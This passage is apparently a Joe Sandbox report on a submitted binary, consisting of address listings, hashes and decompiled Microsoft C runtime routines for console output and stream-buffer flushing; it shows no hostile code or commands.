0x004277b4
0x004277b4
0x004277c0
0x004277c3
0x004277c7
0x004277c9
0x004277cc
0x004277cc
0x004277cf
0x004277d5
0x004277d7
0x004277d7
0x004277da
0x004277f0
0x00000000
0x00000000
0x004277f5
0x004277f5
0x00000000
0x00000000
0x00427801
0x00427801
0x00427808
0x0042780b
0x0042782b
0x0042782e
0x0042782e
0x00427838
0x00427838
0x0042783c
0x0042780d
0x0042780d
0x00427819
0x0042781c
0x00427820
0x00427822
0x00427822
0x00427829
0x00000000
0x00000000
0x00427844
0x00427844
0x0042784b
0x00427857
0x0042785a
0x00427860
0x00427867
0x0042797a
0x00000000
0x0042797a
0x0042786d
0x0042786d
0x00427873
0x00427873
0x0042787a
0x00000000
0x004278b0
0x004278b0
0x004278b3
0x004278b6
0x004278b9
0x004278e1
0x004278e1
0x004278e4
0x004278e7
0x004278ea
0x0042790f
0x0042790f
0x00427912
0x00427915
0x00427918
0x00427951
0x00427962
0x00000000
0x00427962
0x0042791a
0x0042791a
0x0042791d
0x00427920
0x00427923
0x00000000
0x00000000
0x00427925
0x00427925
0x00427928
0x0042792b
0x0042792e
0x00000000
0x00000000
0x00427930
0x00427930
0x00427933
0x00427936
0x00427939
0x00000000
0x00000000
0x0042793b
0x0042793b
0x0042793e
0x00427941
0x00427944
0x00000000
0x00000000
0x00427946
0x00427946
0x00427949
0x0042794c
0x0042794f
0x00427953
0x00000000
0x00427953
0x00000000
0x0042794f
0x004278ec
0x004278ec
0x004278ef
0x004278f3
0x004278f6
0x00000000
0x004278f8
0x004278fb
0x004278fe
0x00427901
0x00427904
0x0042790a
0x00000000
0x0042790a
0x004278f6
0x004278bb
0x004278bb
0x004278be
0x004278c2
0x004278c5
0x00000000
0x004278c7
0x004278ca
0x004278cd
0x004278d0
0x004278d3
0x004278d9
0x00000000
0x004278d9
0x00000000
0x00427964
0x00427967
0x0042796a
0x00000000
0x00000000
0x00427881
0x00427881
0x00427884
0x00427887
0x0042788a
0x004278a2
0x004278a5
0x004278a5
0x004278a8
0x0042788c
0x0042788f
0x00427892
0x00427898
0x0042789d
0x0042789d
0x00000000
0x00000000
0x0042796f
0x0042796f
0x00427972
0x00427972
0x00427977
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042797f
0x0042797f
0x00427986
0x00427992
0x00427995
0x0042799b
0x004279a2
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x004279a8
0x004279ae
0x004279ae
0x004279b5
0x00000000
0x00427d0f
0x00427d0f
0x00427d16
0x00427d1d
0x00427d1d
0x00427d20
0x00000000
0x00000000
0x004279bc
0x004279bf
0x004279bf
0x004279c5
0x004279c7
0x004279ca
0x004279ca
0x004279cf
0x004279cf
0x00000000
0x00000000
0x00427afc
0x00427aff
0x00427aff
0x00427b04
0x00427b06
0x00427b09
0x00427b09
0x00427b0f
0x00427b0f
0x00000000
0x00000000
0x00427edc
0x00427edc
0x00427ef2
0x00427ef2
0x00427efc
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00000000
0x00000000
0x00427a66
0x00427a66
0x00427a72
0x00427a78
0x00427a7f
0x00427a8d
0x00427a8d
0x00427a93
0x00427a96
0x00427aa2
0x00427af7
0x00000000
0x00427af7
0x00427a81
0x00427a81
0x00427a87
0x00427a8b
0x00427aa7
0x00427aaa
0x00427aaa
0x00427ab0
0x00427ad8
0x00427adf
0x00427ae5
0x00427ae8
0x00427aeb
0x00427af1
0x00427af4
0x00427ab2
0x00427ab2
0x00427ab8
0x00427abb
0x00427abe
0x00427ac4
0x00427ac7
0x00427aca
0x00427acc
0x00427acf
0x00427acf
0x00000000
0x00427ab0
0x00000000
0x00000000
0x00427d26
0x00427d29
0x00427d2c
0x00427d2f
0x00427d35
0x00427d38
0x00427d3f
0x00427d43
0x00427d4e
0x00427d4e
0x00427d52
0x00427d69
0x00427d69
0x00427d70
0x00427d72
0x00427d72
0x00427d79
0x00427d79
0x00427d80
0x00427d91
0x00427da0
0x00427da3
0x00427da7
0x00427dbd
0x00427da9
0x00427da9
0x00427dac
0x00427db2
0x00427db8
0x00427db8
0x00427da7
0x00427dc7
0x00427dca
0x00427dcd
0x00427dd0
0x00427dd0
0x00427dd3
0x00427dd3
0x00427dd6
0x00427ddc
0x00427de2
0x00427dea
0x00427deb
0x00427dee
0x00427def
0x00427df2
0x00427df3
0x00427dfa
0x00427dfb
0x00427dfe
0x00427dff
0x00427e02
0x00427e03
0x00427e09
0x00427e0a
0x00427e18
0x00427e1a
0x00427e20
0x00427e20
0x00427e26
0x00427e28
0x00427e2c
0x00427e2e
0x00427e36
0x00427e37
0x00427e3a
0x00427e3b
0x00427e49
0x00427e4b
0x00427e4b
0x00427e2c
0x00427e4e
0x00427e55
0x00427e58
0x00427e5d
0x00427e5d
0x00427e63
0x00427e65
0x00427e6d
0x00427e6e
0x00427e71
0x00427e72
0x00427e81
0x00427e83
0x00427e83
0x00427e63
0x00427e86
0x00427e89
0x00427e8c
0x00427e8f
0x00427e94
0x00427e9a
0x00427e9d
0x00427ea0
0x00427ea0
0x00427ea3
0x00427ea3
0x00427ea6
0x00427eb2
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00000000
0x004281c3
0x00427d54
0x00427d54
0x00427d5b
0x00427d5e
0x00000000
0x00000000
0x00427d60
0x00427d60
0x00000000
0x00427d60
0x00427d45
0x00427d45
0x00000000
0x00000000
0x004279d2
0x004279d5
0x004279d5
0x004279db
0x00427a32
0x00427a36
0x00427a3e
0x00427a45
0x00427a4b
0x00427a51
0x00427a58
0x00427a58
0x00427a5e
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x004279dd
0x004279dd
0x004279e7
0x004279eb
0x004279f3
0x004279fa
0x00427a07
0x00427a0e
0x00427a1a
0x00427a20
0x00427a27
0x00427a29
0x00427a29
0x00427a30
0x00000000
0x00000000
0x00427eba
0x00427ebd
0x00427ec0
0x00427ec3
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00427c18
0x00427c18
0x00427c24
0x00427c2a
0x00427c2f
0x00427c31
0x00427cdb
0x00427cde
0x00427cde
0x00427ce1
0x00427cf5
0x00427cfb
0x00427d01
0x00427ce3
0x00427ce3
0x00427cf0
0x00427cf0
0x00427d03
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x00427c37
0x00427c37
0x00427c37
0x00427c39
0x00427c47
0x00427c3b
0x00427c3b
0x00427c3b
0x00427c51
0x00427c57
0x00427c5d
0x00427c64
0x00427c66
0x00427c6b
0x00427c6d
0x00427c72
0x00427c77
0x00427c79
0x00427c7e
0x00427c81
0x00427c84
0x00427c86
0x00427c86
0x00427c84
0x00427c87
0x00427c8e
0x00427cd6
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00427c90
0x00427c90
0x00427c95
0x00427cb1
0x00427cb9
0x00427cc3
0x00427cc6
0x00427ccb
0x004283e8
0x004283f5
0x004283f5
0x00000000
0x00427f1d
0x00427f1d
0x00427f27
0x00427f27
0x00427f2d
0x00427f2f
0x00427f32
0x00427f32
0x00427f38
0x00427f38
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x00427ed5
0x00427ed5
0x00000000
0x00000000
0x00427b12
0x00427b12
0x00427b16
0x00427b24
0x00427b27
0x00427b18
0x00427b18
0x00427b18
0x00427b2d
0x00427b33
0x00427b39
0x00427b45
0x00427b4b
0x00427b4b
0x00427b51
0x00427bb8
0x00427bb8
0x00427bbc
0x00427bbe
0x00427bc4
0x00427bc4
0x00427bc7
0x00427bca
0x00427bd0
0x00427bd0
0x00427bd0
0x00427bdc
0x00427bdf
0x00427be5
0x00427be7
0x00000000
0x00000000
0x00427be9
0x00427be9
0x00427bef
0x00427bf2
0x00427bf4
0x00000000
0x00000000
0x00427bf6
0x00427bfc
0x00427bff
0x00427bff
0x00427c07
0x00427c07
0x00427c0d
0x00427c0d
0x00427c10
0x00000000
0x00427b53
0x00427b53
0x00427b53
0x00427b57
0x00427b59
0x00427b5e
0x00427b5e
0x00427b61
0x00427b68
0x00427b6b
0x00427b71
0x00427b71
0x00427b71
0x00427b7d
0x00427b80
0x00427b86
0x00427b88
0x00000000
0x00000000
0x00427b8a
0x00427b8a
0x00427b90
0x00427b93
0x00427b95
0x00000000
0x00000000
0x00427b97
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba8
0x00427bae
0x00427bb1
0x00427bb3
0x00427c13
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x00000000
0x00427ecc
0x00427ecc
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x00000000
0x00000000
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00000000
0x00000000
0x00427782
0x00427785
0x00427788
0x00000000
0x00000000
0x0042778d
0x00427790
0x00427795
0x00000000
0x00000000
0x00427777
0x00427777
0x0042777a
0x0042777d
0x00000000
0x00000000
0x0042776c
0x0042776f
0x00427772
0x00000000
0x00000000
0x0042779a
0x0042779a
0x0042779d
0x0042779d
0x004277a0
0x00000000
0x00000000
0x004277a3
0x00000000
0x00000000
0x004275fd
0x004283ce
0x004283d4
0x004283dd
0x004283e2
0x00000000
0x004283e2
0x004281c3
0x0042819a
0x0042819a
0x0042819e
0x004281ab
0x004281ae
0x004281b1
0x004281b4
0x004281b7
0x004281ba
0x004281bd
0x004281bd
0x004281c0
0x00000000
0x004281c0
0x004281a0
0x004281a0
0x004281a3
0x004281a6
0x004281a9
0x00000000
0x00000000
0x00000000
0x004281a9
0x00428102
0x00428102
0x00428105
0x00428108
0x0042810f
0x00428116
0x0042811e
0x00428124
0x00428127
0x0042812a
0x00428131
0x0042813d
0x00428143
0x00428149
0x00428150
0x00428152
0x00428158
0x00428158
0x0042815e
0x0042815e
0x00428164
0x00428167
0x0042816d
0x00428172
0x00428175
0x004280e4
0x004280e4
0x004280ea
0x004280ed
0x004280f0
0x004280f2
0x00000000
0x00000000
0x00000000
0x004280f2
0x004280e4
0x00428024
0x00428024
0x0042802b
0x00000000
0x00000000
0x00000000
0x00428059
0x00428059
0x0042805f
0x00428065
0x0042806b
0x00000000
0x0042806b
0x00427f3b
0x00427ef2

APIs

_get_int64_arg.LIBCMTD ref: 00427F49
__aullrem.LIBCMT ref: 00428116
__aulldiv.LIBCMT ref: 00428138

Strings

9, xrefs: 00428149
', xrefs: 00427EE8
0, xrefs: 00427F04

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 891b80c7c3d5e47c62bae2c18cff33260eaf68887a307204eeebd69870ac2191
Instruction ID: baaee75d62a39bf951257005c5827cd058cd80796467eaf914a14d1ba34dc2d3
Opcode Fuzzy Hash: 891b80c7c3d5e47c62bae2c18cff33260eaf68887a307204eeebd69870ac2191
Instruction Fuzzy Hash: C94116B1E06629CFDB64DF48ED89BAEB7B5BB44300F5085DAD009A7241CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043B620, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B620(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0x48304d0a
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D450();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BF30(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b620
0x0043b628
0x0043b62f
0x0043b639
0x0043b6ae
0x0043b6b5
0x0043b708
0x0043b708
0x0043b6b7
0x0043b6d6
0x0043b6e0
0x0043b701
0x0043b701
0x0043b6e2
0x0043b6f0
0x0043b6ff
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b6ff
0x0043b6e0
0x0043b63b
0x0043b642
0x0043b644
0x0043b644
0x0043b650
0x0043b66a
0x0043b679
0x0043b6a4
0x00000000
0x0043b67b
0x0043b682
0x0043b69b
0x0043b68f
0x0043b68f
0x00000000
0x0043b6a2
0x0043b682
0x0043b652
0x0043b652
0x0043b652
0x0043b650
0x0043b719

APIs

___initconout.LIBCMTD ref: 0043B644

Part of subcall function 0043D450: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B649), ref: 0043D469

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B6C9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B6D0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B6F7

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 446fc29d3d88c7f4571954c1a4b2dabf7ea5c4c0ef1117ddd22daff0fed09a2f
Instruction ID: 5f468e42d881a6e65fe58652fb8eb0b75dcff2345d093441c83c19b590c5d27a
Opcode Fuzzy Hash: 446fc29d3d88c7f4571954c1a4b2dabf7ea5c4c0ef1117ddd22daff0fed09a2f
Instruction Fuzzy Hash: 7121B574500204EBDB20DFA4DE46BEA3774EB59314F20023BF706961E0D7789985DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D543, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D543() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00433270( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E520();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432F30(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00433270( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426790() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426790() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E004340A0(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433FE0(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d57d
0x0043d5c9
0x0043d5d5
0x0043d5e4
0x0043d5ea
0x0043d5f1
0x0043d5f8
0x0043d5fb
0x0043d609
0x0043d641
0x0043d64d
0x0043d755
0x0043d765
0x0043d77d
0x0043d780
0x0043d786
0x0043d7a1
0x0043d788
0x0043d794
0x0043d797
0x0043d797
0x00000000
0x0043d786
0x0043d65e
0x0043d660
0x0043d665
0x0043d667
0x0043d66c
0x0043d671
0x0043d673
0x0043d678
0x0043d67e
0x0043d680
0x0043d680
0x0043d67e
0x0043d68c
0x0043d69b
0x0043d6a9
0x0043d6b0
0x0043d6d2
0x0043d6f5
0x0043d6da
0x0043d6f0
0x0043d6f0
0x0043d6ff
0x0043d703
0x0043d706
0x00000000
0x0043d708
0x0043d70e
0x0043d71a
0x0043d71d
0x0043d729
0x00000000
0x00000000
0x0043d737
0x0043d73a
0x00000000
0x0043d73a
0x0043d6b2
0x0043d6c9
0x0043d741
0x0043d750
0x00000000
0x0043d750
0x0043d6b0
0x0043d616
0x0043d625
0x0043d629
0x0043d62e
0x0043d633
0x00000000
0x00000000
0x00000000
0x0043d635
0x0043d635
0x0043d639
0x0043d63e
0x00000000
0x0043d63e
0x0043d57f
0x0043d582
0x0043d592
0x0043d5bc
0x0043d5bf
0x0043d7a6
0x0043d7a9
0x0043d7a9
0x0043d59d
0x0043d5ab
0x00000000
0x0043d5ab

APIs

__isatty.LIBCMTD ref: 0043D629
__getbuf.LIBCMTD ref: 0043D639
__write.LIBCMTD ref: 0043D6C1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D660
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D66C

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 79c9c5c6766b7087681623ab6b3666c02b121581dac00e39f08806929f5b563f
Instruction ID: f1475593b3e625392d7881c9fe89b8bd6c6ac5b736d7bec4b3379d08c7731715
Opcode Fuzzy Hash: 79c9c5c6766b7087681623ab6b3666c02b121581dac00e39f08806929f5b563f
Instruction Fuzzy Hash: 4B51C979E00208EFDB14CF95D491A6DBBB1FF88324F248299E4495B395D738EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00426AD1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00426AD1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00433270( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E520();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432F30(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
